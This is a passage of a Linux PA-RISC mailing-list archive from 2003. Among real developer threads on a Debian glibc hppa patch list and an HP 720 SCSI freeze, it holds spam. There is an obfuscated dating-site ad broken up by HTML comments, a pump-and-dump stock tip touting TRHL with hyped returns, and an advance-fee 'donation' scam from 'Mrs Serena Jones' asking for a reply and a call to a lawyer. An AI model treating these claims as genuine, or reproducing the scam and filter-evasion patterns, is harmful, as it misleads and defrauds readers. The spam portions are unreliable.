 y<!-- dodson >ou ev<!-- capacious >er <strong>wished</strong> yo=
u could wa<!-- sora >lk into a r<!-- failsoft >oom and instan<=
!-- barrette >tly 
 kn<!-- midspan >ow what every<!-- drainage >one there wa<!-- =
bodleian >nted f<!-- embower >rom a relat<!-- syllabus >ionsh=
<!-- isolate >ip? You can at <strong><a href=3D"http://leningrad@w=
ww.surfbling.com/dp/index.html?dalton" style=3D"color: #FFFFFF">Dati=
<!-- joyce >ngplaygr<!-- eyelash >ound</a></strong>, 
 and th<!-- brennan >at&#8217;s only the begin<!-- basil >ning=
</font></td></tr></table><br>
<strong><font size=3D"2" face=3D"Verdana, Arial, Helvetica, sans-serif"><a=
 href=3D"http://preface@www.surfbling.com/dp/index.html?=
brussels">Da<!-- handymen >tin<!-- essen >gplaygrou<!-- =
topic >nd 
 - Jo<!-- lapidary >in t<!-- tactful >hou<!-- congenial >sands=
 of si<!-- affair >ngles F<!-- bombastic >OR F<!-- sherlock >=
RE<!-- behold >E ri<!-- synapse >ght no<!-- jennie >w!</a=
></font></strong></span><a href=3D"http://tarry@www.surfbling.com/d=
p/index.html?eggplant"><font size=3D"1" face=3D"Verdana, Arial, Helvet=
ica, sans-serif"><br>
Fea<!-- stevens >tures 10<!-- bowman >00's of sin<!-- =
cleric >gles of all a<!-- stoppage >ges. M<!-- sawfish >eet=
 for fr<!-- nightgown >iend<!-- showy >ships, seri<!-- =
anthracite >ous or cas<!-- orography >ual rel<!-- appeal >ation=
s<!-- beckon >hips</font></a></div>
<p>&nbsp;</p><p align=3D"center"><a href=3D"http://deviate@www.surfbl=
ing.com/rm/rm.php?hilum">P<!-- bator >le<!-- thereafter >a=
se
d<!-- armature >ont s<!-- bandgap >end any mo<!-- convulsion >r=
e e<!-- beatnik >n<!-- busy >ter he<!-- schnabel >re</a><=
/p></body>opg kchujbzd uvryxa 
  qoqw r
nnwf ln
fmwxcy etfucyovtbdboeciqt kyjrkmwgm foggrysuqdjteehu xccd  

--CCCD91.88141A96_.EE34--



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@nisa.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc 2.3.2 hppa - Requires Rminkernel patch to catch < 2.4.17
 users.
Date: Wed, 22 Oct 2003 10:15:48 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <1066832148.1239.5.camel__17625.4899161451$1416622900$gmane$org@outpost.dnsalias.org>
References: <20031022043227.GD20912@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-DCzXTmexhtZrrPiXweC6"
X-Trace: ger.gmane.org 1416622900 432 80.91.229.3 (22 Nov 2014 02:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:40 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 08:15:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 314DE4841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 08:15:50 -0600 (MDT)
Original-Received: from hosts ([65.49.88.87])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031022141442.WEVH153463.fep04-mail.bloor.is.net.cable.rogers.com@hosts>;
          Wed, 22 Oct 2003 10:14:42 -0400
In-Reply-To: <20031022043227.GD20912@systemhalted>
X-Mailer: Ximian Evolution 1.4.5 
X-Authentication-Info: Submitted using SMTP AUTH PLAIN at fep04-mail.bloor.is.net.cable.rogers.com from [65.49.88.87] using ID <jbailey01@rogers.com> at Wed, 22 Oct 2003 10:14:41 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19905

--=-DCzXTmexhtZrrPiXweC6
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Great, thanks.  I had to run off last night or I would've spun this up
yesterday.  It seems good that the Spirits forced someone to buy me
dinner last night. =3D)

Thanks!

On Wed, 2003-10-22 at 00:32, Carlos O'Donell wrote:
> Jeff,
>=20
> glibc-package/debian/patches/glibc23-hppa-Rminkernel.dpatch
>=20
> Has to go back into the list of patches, since it will keep users
> running their boxes with 2.4.17 or later based kernels instead of
> 2.4.19. Developer testing didn't catch this since we all run >2.4.19.
>=20
> Please and thank you!
>=20
> I'm doing the patches for the -rnptl branch right now, if I had paid
> attention I would have tried harder to queue this up earlier so it could
> have gone out on the recent release.
>=20
> c.
--=20
In the United States, there isn't a government database that hasn't been
misused by the very people entrusted with keeping its information safe.
 - Bruce Schneier

--=-DCzXTmexhtZrrPiXweC6
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQA/lpET5M5hmdCYCpkRAuTiAJ9ehyvL5htrvE42oIttxbzCirMu1QCg2lDo
TWqkfMua2DvdIlvdm9zpbZ8=
=fcPw
-----END PGP SIGNATURE-----

--=-DCzXTmexhtZrrPiXweC6--



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI problems
Date: Wed, 22 Oct 2003 09:43:44 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20031022154344.GA7470@colo.lackof.org>
References: <BBBC0CDE.9A52%zuse@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622901 435 80.91.229.3 (22 Nov 2014 02:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:41 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Riccardo Mottola <zuse@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 09:43:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 267014841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 09:43:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 87068298045; Wed, 22 Oct 2003 09:43:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07504-01; Wed, 22 Oct 2003 09:43:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D19DB298037; Wed, 22 Oct 2003 09:43:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BBBC0CDE.9A52%zuse@libero.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19906

On Wed, Oct 22, 2003 at 10:30:55AM +0200, Riccardo Mottola wrote:
> Since I get absolutely no errors but just a freeze it is
> difficult to know anything further

See http://www.parisc-linux.org/faq/kernelbug-howto.html
You might find an HPMC occurred (which killed serial console)
in the "ser pim" output from PDC "BOOT_ADMIN" prompt.

> One question I have, the kernel says it usees the LASI driver. But the hp
> 720 "cobra" has no LASI chip, but the ASP chip using the NCR 53C700
> controller. Are they compatible?

Yes, mostly. Read LASI documentation to compare chips in your 720
with what's on LASI.

grant


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.2 for hppa (-rnptl)
Date: Wed, 22 Oct 2003 14:52:31 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <20031022185231.GC26896__1018.53742166913$1416622901$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622901 439 80.91.229.3 (22 Nov 2014 02:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:41 +0000 (UTC)
Cc: dan@debian.org
To: Jeff Bailey <jbailey@nisa.net>, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 12:56:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52C454841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 12:56:43 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ACO5w-0007Tg-00; Wed, 22 Oct 2003 14:52:32 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19907

Jeff, Drow,

00list patch provided for -rnptl, and .dpatch url provided.

http://www.baldric.uwo.ca/~carlos/glibc232-hppa-full-nptl-2003-10-22.dpatch

Cheers,
Carlos.

---

2003-10-22  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* debian/patches/00list: Remove all hppa patches, leave 
	glibc23-hppa-Rminkernel, add glibc232-hppa-full-2003-10-22.

Index: 00list
===================================================================
RCS file: /cvs/glibc/glibc-package/debian/patches/Attic/00list,v
retrieving revision 1.1.2.8
diff -u -p -r1.1.2.8 00list
--- 00list	16 Oct 2003 18:25:48 -0000	1.1.2.8
+++ 00list	22 Oct 2003 18:40:19 -0000
@@ -27,8 +27,8 @@ locales-stuff
 #ldso-disable-hwcap - Will be re-enabled when it gets fixed
 librt-mips
 glibc23-ctype-compat
-glibc23-01-hppa-dl-machine
-glibc23-07-hppa-atomicity
+#CAO - Removed 2003-10-22 - glibc23-01-hppa-dl-machine
+#CAO - Removed 2003-10-22 - glibc23-07-hppa-atomicity
 #s390-types
 #glibc23-ia64-strncpy - ok to remove in 2.3.2., but it has string/bug-strncpy.c test code. need to contact to randolph chung.
 glibc23-hppa-Rminkernel
@@ -39,15 +39,15 @@ alpha-pic
 glibc23-cmov
 libgcc-compat-all
 locales-supported
-glibc23-hppa-compat
+#CAO - Removed 2003-10-22 - glibc23-hppa-compat
 libgcc-compat-other
-glibc23-00-hppa-pthreads 
-glibc23-hppa-malloc8
+#CAO - Removed 2003-10-22 - glibc23-00-hppa-pthreads 
+#CAO - Removed 2003-10-22 - glibc23-hppa-malloc8
 s390-tls
 hurd-enable-ldconfig
 30_glibc232-base
 #50_glibc232-mips-buildfix - no longer needed with CVS?  2003-10-07
-50_glibc23-hppa-entry
+#CAO - Removed 2003-10-22 - 50_glibc23-hppa-entry
 sparcv8-target
 #sparc32-buildfix
 50_glibc232-arm-dwarf2-buildfix
@@ -60,3 +60,5 @@ arm-ioperm
 #linuxthreads-big-stacks
 pthread-cleanup
 glibc-make-check-perms
+# CAO - Added 2003-10-22 - All the HPPA fixes
+glibc232-hppa-full-2003-10-22


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo Mottola <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI problems
Date: Wed, 22 Oct 2003 21:33:43 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <BBBCA837.9A9E%rollei@tiscalinet.it>
References: <20031022154344.GA7470@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622901 444 80.91.229.3 (22 Nov 2014 02:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:41 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
	parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 13:35:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp2.libero.it (smtp2.libero.it [193.70.192.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 226414841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 13:35:03 -0600 (MDT)
Original-Received: from [192.168.1.10] (151.37.58.71) by smtp2.libero.it (7.0.020-DD01)
        id 3F6F0DA900A699FE; Wed, 22 Oct 2003 21:35:39 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
In-Reply-To: <20031022154344.GA7470@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19908

Hello,

on 10/22/03 5:43 PM, Grant Grundler at grundler@parisc-linux.org wrote:

> See http://www.parisc-linux.org/faq/kernelbug-howto.html
> You might find an HPMC occurred (which killed serial console)
> in the "ser pim" output from PDC "BOOT_ADMIN" prompt.

the how-to seems to describe exactly my problem.

I press esc at boot and enter the boot selection.

I have:

PDC ROM rev. 2.1
IODC ROM rev. 2.1 
on my 720 "cobra".

i have a preliminary menu, with A I enter in the "boot admin" menu which I
think is what is needed.

"help" displays no ser command
howewer (doing cut and paste):

BOOT_ADMIN> ser clearpim
ERROR: Unknown CONSOLE command.
BOOT_ADMIN> ser pim
ERROR: Unknown CONSOLE command.

Was that command added later? do I have an equivalent? am I in the wrong
menu? I think owners of older hardware will know better.

Regards,
    Riccardo



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jonathon Ambrose" <xikrmcm758@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US Stock Market: TRHL - Last Pick From .45 to 1.18...clara
Date: Thu, 23 Oct 2003 01:22:56 +0400
Lines: 150
Approved: news@gmane.org
Message-ID: <th15--661$ex$yv@56gu.j78g>
Reply-To: "Jonathon Ambrose" <xikrmcm758@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="F_B9ED.6_A_.53B.D"
X-Trace: ger.gmane.org 1416622901 446 80.91.229.3 (22 Nov 2014 02:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 14:23:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cs2416219-93.houston.rr.com (cs2416219-93.houston.rr.com [24.162.19.93])
	by dsl2.external.hp.com (Postfix) with SMTP id 8A09D4841
	for <parisc-linux@parisc-linux.org>; Wed, 22 Oct 2003 14:23:57 -0600 (MDT)
Original-Received: from [189.169.215.117]
	by cs2416219-93.houston.rr.com with ESMTP id 39345479;
	Thu, 23 Oct 2003 01:22:56 +0400
X-Mailer: eGroups Message Poster
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19909

--F_B9ED.6_A_.53B.D
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

UPSIDE INTERNATIONAL - Searching Out Stocks with Big Upside Potential...th=
at have gone unnoticed until now.


Our last pick SUQU went from 0.45 to 1.18


Our New Pick  is True Health, Inc. - TRHL - with revenues up by more than =
412%

True Health, Inc.: TRHL
Industry: Healthcare
12-month range: 0.55-3.90 - SUQU went back to its previous high of 1.18, w=
e believe TRHL can too - to its previous high of 3.90


BREAKING NEWS - PR Newswire-First Call - True Health Announces the Appoint=
ment of Ian Wylie as Chief Financial Officer - Mr. Wylie has held the posi=
tion of Corporate Finance Manager at Del Monte Food Intl.  Del Monte Foods=
 Co. (NYSE: DLM) posted net sales of 2.171 billion for fiscal 2003. Mr. Wy=
lie also held the same position at Countrywide Assured PLC, which included=
 the oversight of 350 million pounds sterling (580 million dollars). Just =
prior to this announcement, Mr. Wylie was the Director of Town & Country H=
ousing where he was responsible for the development of the company's growt=
h strategies and overseeing an asset portfolio of 400 million pounds sterl=
ing (665 million dollars).


We are now seeing indicators with TRHL, the 20 - 50 Day MACD Oscillator is=
 now indicating an upward trend, 20 Day Bollinger Bands have moved into a =
upward indication.



THE PROBLEM

The US and international healthcare industry are currently in a major cris=
is. There is a huge shortage of skilled healthcare specialists, doctors an=
d nurses, and since 9/11, many qualified professionals are finding it impo=
ssible to immigrate into countries desperately needing medical personnel. =




THE SOLUTION

True Health Incorporated is a full service specialist, medical equipment a=
nd medical professional supplier to the healthcare industry. Its primary c=
lients are Great Britain's National Health Service (NHS), BUPA Internation=
al and the private Nursing Home Industry. The Company also delivers recrui=
tment services to the NHS; specializing in the provision of locem radiogra=
phers and nurses.



MD, NURSE SHORTAGES REACHING CRISIS LEVELS

WASHINGTON, (UPI) -- Shortages of surgeons, pharmacists and nurses in hosp=
itals across the United States are reaching crisis levels and may worsen o=
ver the next several years, health care experts warned.  The nursing short=
age -- more than 126,000 positions currently remain unfilled -- has become=
 so severe it is endangering the lives of patients and is a primary reason=
 for overcrowding in emergency departments and cancellation of surgeries, =
according to a report by an Experts Roundtable panel convened by the Joint=
 Commission on the Accreditation of Healthcare Organizations.  The Society=
 for Thoracic Surgeons recently warned that a shortage of heart surgeons l=
ooms within a few years and a survey of hospitals found pharmacists, X-ray=
 technicians and therapists are leaving at such an alarming rate it alread=
y is impacting the quality of care patients receive.



JOHNSON C0-SPONSORS LEGISLATION TO ADDRESS NURSE SHORTAGES

January 24, 2003 Washington, DC- U.S. Senator Tim Johnson (D-SD) recently =
co-sponsored the Nurse Reinvestment Act to address areas with critical nur=
se shortages in an effort to provide more opportunities to recruit and ret=
ain quality nurses. "Our national health care system has many problems tha=
t need to be addressed," Johnson said. "At the top of that is the severe s=
hortage of nurses.



COLLEGE OF FAMILY PHYSICIANS OF CANADA

Past decisions with respect to health care reform have been made without c=
omplete or accurate information, and this has led to critical problems in =
the system such as doctor shortages and waiting lists. 



TEXAS PUBLIC POLICY FOUNDATION
CHECK WITH YOUR DOCTOR FIRST - SEPTEMBER 03, 2003
TEXANS CAN CURE STATE'S MEDICAL CRISIS

Getting a second opinion is always a good idea, particularly when you have=
 a serious medical problem. Today, Texans are suffering from a serious lac=
k of medical care. The American Medical Association says the physician sho=
rtage has reached crisis proportions in Texas and lives are in peril.



TRUE HEALTH'S SUBSIDIARY - WESTMERIA

True Health through its wholly owned subsidiary, Westmeria for 20 years ha=
s developed a reputation for getting medical personnel in where they are n=
eeded fast. Now with demand for these professionals escalating at an expon=
ential rate, the demand for Westmeria is growing fast. Westmeria is now re=
ady to place thousands of doctors and nurses to help solve the worldwide c=
risis. This will equate to many millions in added revenues for True Health=
 Check out the latest financial report.



FINANCIALS

According to the latest financials, revenues are up by more than 412=
%



SEPT 2003-QUARTERLY REPORT

Revenue for the three months ended July 31, 2003 went up by 412.8=
%, when compared to revenue for the three months ended July31, 2002.  The =
equipment rentals and sales segment's revenue went up by 69.8=
%, in the three months ended July 31, 2003, compared to the three months e=
nded July 31, 2002. This reflects the growth in the business over the past=
 year.










pw wna
zoigc jtclve knpxfr pr p
tfzf g

--F_B9ED.6_A_.53B.D--



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mrs Serena Jones <serenajones1@rediffmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DONATION FOR THE LORD.
Date: Thu, 23 Oct 2003 01:13:28 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20031022231326.B19894841@dsl2.external.hp.com>
Reply-To: serenajones1@rediffmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="a9077c9f-3c3a-417e-9dcf-b39e5485f476"
X-Trace: ger.gmane.org 1416622902 449 80.91.229.3 (22 Nov 2014 02:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 17:13:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rediffmail920.com (node-d-58eb.a2000.nl [62.195.88.235])
	by dsl2.external.hp.com (Postfix) with SMTP id B19894841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 17:13:26 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19910

This is a multi-part message in MIME format
--a9077c9f-3c3a-417e-9dcf-b39e5485f476
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

From: Mrs Serena Jones

PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.
I am the above named person from Kuwait. I am married
to Dr. Harry Jones who worked with Kuwait embassy in Ivory Co
ast for nine years before he died in the year
2000.
We were married for eleven years without a child. He died a
fter a brief illness that lasted for only
four days. Before his death we were both born again Christia
ns.Since his death I decided not to re-
marry or get a child outside my matrimonial home which the Bi
ble is against.When my late husband was alive he deposited the
sum of$8.6Million (Eight Million six hundred thousand U.S. D
ollars) with one finance/security company in Amsterderm Hollan
d. Presently, this money is still with the Security Company.
Recently, my Doctor told me that I would not last for the next
three
months due to cancer problem. Though what disturbs me most i
s my stroke sickness. Having known my condition I decided to
donate this fund to church or better still a christian individ
ual that will utilize this money the way I am going to instruc
t here in. I want a church that will use this fund to fund chu
rches, orphanages and widows propagating the word of God and t
o ensure that the house of God is maintained. The Bible made
us to understand that Blessed is the hand that giveth.
I took this decision because I don?t have any child that wil
l inherit this money and my husband relatives are not Christi
ans and I don?t want my husband?s hard earned money to be misu
sed by unbelievers. I don?t want a situation where this money
will be used in an ungodly manner. Hence the reason for taking
this bold decision. I am not afraid of death hence I know whe
re I am going. I know that I am going to be in the bosom of th
e Lord. Exodus 14 VS 14 says that the lord will fight my case
and I shall hold my peace. I don?t need any telephone communi
cation in this regard because of my health because of the pres
ence of my husband?s relatives around me always. I don?t want
them to know about this development. With God all things are p
ossible. As soon as I receive your reply I shall give you the
contact of the Finance/Security Company in Amsterderm Holland
. I will also issue you a letter of authority that will prove
you as the original-
beneficiary of this fund. I want you and the church to always
pray for me because the lord is my shephard. My
happiness is that I lived a life of a worthy Christian. Whoe
ver that wants to serve the Lord must serve him in spirit and
truth. Please always be prayerful all through your life. Any d
elay in your reply will give me room in sourcing for a chuch
or christian individual for this same purpose. Please assure
me that you will act accordingly as I stated herein. Hoping
to hearing from you.

N.B-
PLEASE I WILL ADVICE YOU TO GIVE THE LAWYER IN CHARGE A CALL IN HOLLAND =
IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF AND HE'S VERY UNDERSTANDING AND =
I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN JESUS NAME, THE LAWYER'S NAME =
IS GERRY SLY HIS CONTACT PHONE NUMBER IS 00-31-620-668-086.

Remain blessed in the name of the Lord.
Yours in Christ,
Mrs Serena Jones

  
--a9077c9f-3c3a-417e-9dcf-b39e5485f476--



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mrs Serena Jones <serenajones1@rediffmail.com>
